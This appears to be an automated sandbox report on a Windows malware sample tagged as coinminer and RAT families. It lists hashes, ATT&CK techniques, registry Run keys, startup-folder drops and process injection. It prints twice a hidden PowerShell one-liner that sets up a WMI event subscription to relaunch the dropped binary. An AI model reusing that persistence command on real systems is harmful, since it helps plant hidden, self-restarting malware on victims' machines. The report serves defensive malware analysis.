9aa3de95d0463e373a91bec4b09c8becfb25513a9a44d7caf72bb124f7a95ec3

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 00:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Size 35.0MB
Sample260808-a41dkaep9t
SHA256 9aa3de95d0463e373a91bec4b09c8becfb25513a9a44d7caf72bb124f7a95ec3
MD5 b71ebd5bfb36e4393b471dd541499fdc
SHA1 4cf90bc466d4ab7c85e93272d1c3c36a431b9f27
SHA512 e5b1e435b70090cc7f3d4d64eed3783ea99813515f8bd9a3705f45acd791773dd023186958383c501d5052b05d3c7cd5164c7faa02d524aab4de20c2ef586dc9
SSDEEP 196608:1d+KVv2LdtGD+UocPwLwwc/53TsHJq6N/0cij:1oKVv2HjOgA6Ccs
TLSH
T1D2872A63F8D22A94D4EAC570D772817BBBB13859073853D746A0F7201F3ABD09AB6B41
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
712	powershell.exe
5932	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1489038238.tmp	2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-503240257.tmp	ovd_bc3d268ca060.exe

Executes dropped EXE 1 IoCs

pid	Process
2560	ovd_bc3d268ca060.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-5dc44787 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_bc3d268ca060.exe\""	2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-b3c50054 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_bc3d268ca060.exe\""	ovd_bc3d268ca060.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
5	api.ipify.org

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5932	powershell.exe
5932	powershell.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5932	powershell.exe
Token: SeDebugPrivilege	712	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 5932	3444	2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	90
PID 2560 wrote to memory of 712	2560	ovd_bc3d268ca060.exe	94

C:\Users\Admin\AppData\Local\Temp\2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_b71ebd5bfb36e4393b471dd541499fdc_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f1e4b77fd'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c1e4b77fd'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bc3d268ca060.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f1e4b77fd'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c1e4b77fd'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5932

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bc3d268ca060.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bc3d268ca060.exe"
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f1e4b77fd'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c1e4b77fd'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bc3d268ca060.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f1e4b77fd'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c1e4b77fd'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

agent-238246250.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-238246250.tmp
Size 35.0MB
SHA256 9aa3de95d0463e373a91bec4b09c8becfb25513a9a44d7caf72bb124f7a95ec3
MD5 b71ebd5bfb36e4393b471dd541499fdc
SHA1 4cf90bc466d4ab7c85e93272d1c3c36a431b9f27
SHA512 e5b1e435b70090cc7f3d4d64eed3783ea99813515f8bd9a3705f45acd791773dd023186958383c501d5052b05d3c7cd5164c7faa02d524aab4de20c2ef586dc9
SSDEEP 196608:1d+KVv2LdtGD+UocPwLwwc/53TsHJq6N/0cij:1oKVv2HjOgA6Ccs
TLSH
T1D2872A63F8D22A94D4EAC570D772817BBBB13859073853D746A0F7201F3ABD09AB6B41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5932-13-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-8-0x000001BC7D5B0000-0x000001BC7D5D2000-memory.dmp

Download

memory/5932-11-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-12-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-7-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-14-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-15-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-16-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-17-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-18-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-19-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-21-0x00007FFC6A260000-0x00007FFC6AC04000-memory.dmp

Download

memory/5932-6-0x00007FFC6A3EF000-0x00007FFC6A3F0000-memory.dmp

Download